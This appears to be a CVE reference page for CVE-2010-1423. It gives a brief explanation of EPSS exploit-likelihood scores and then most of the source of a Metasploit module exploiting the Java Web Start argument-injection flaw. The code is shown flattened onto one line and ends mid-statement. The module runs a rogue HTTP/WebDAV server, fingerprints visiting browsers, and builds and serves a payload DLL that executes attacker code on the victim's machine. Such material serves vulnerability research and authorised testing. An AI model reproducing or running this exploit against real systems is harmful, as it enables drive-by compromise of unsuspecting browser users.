CVE-2010-1423 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection', 'Description' => %q{ This module exploits a flaw in the Web Start plugin component of Sun Java Web Start. The arguments passed to Java Web Start are not properly validated. By passing the lesser known -J option, an attacker can pass arbitrary options directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed by Ruben Santamarta, an attacker can execute arbitrary code in the context of an unsuspecting browser user. This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy. Tavis reported that all versions since version 6 Update 10 "are believed to be affected by this vulnerability." In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. }, 'License' => MSF_LICENSE, 'Author' => 'jduck', 'References' => [ [ 'CVE', '2010-0886' ], [ 'CVE', '2010-1423' ], [ 'OSVDB', '63648' ], [ 'BID', '39346' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ], [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ] ], 'Platform' => 'win', 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" }, 'Targets' => [ [ 'Automatic', { } ], [ 'Java Runtime on Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 09 2010' )) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil #print_status("Agent: #{agent}") # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ ret = targets[1] elsif agent =~ /MSIE (6|7|8)\.0/ ret = targets[1] else print_status("Unknown User-Agent #{agent}") end ret end def on_request_uri(cli, request) # For this exploit, this does little besides ensures the user agent is a recognized one.. mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Special case to process OPTIONS for / if (request.method == 'OPTIONS' and request.uri == '/') process_options(cli, request, mytarget) return end # Discard requests for ico files if (request.uri =~ /\.ico$/i) send_not_found(cli) return end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return else share_name = $1 end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget, share_name) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target, share_name) print_status("Responding to \"GET #{request.uri}\" request") # dispatch based on extension if (request.uri =~ /\.dll$/i) # # DLL requests sent by IE and the WebDav Mini-Redirector # print_status("Sending DLL") # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Generate a DLL based on the payload dll_data = generate_payload_dll({ :code => p.encoded }) # Send it :) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) else # # HTML requests sent by IE and Firefox # # This could probably use the Host header from the request my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
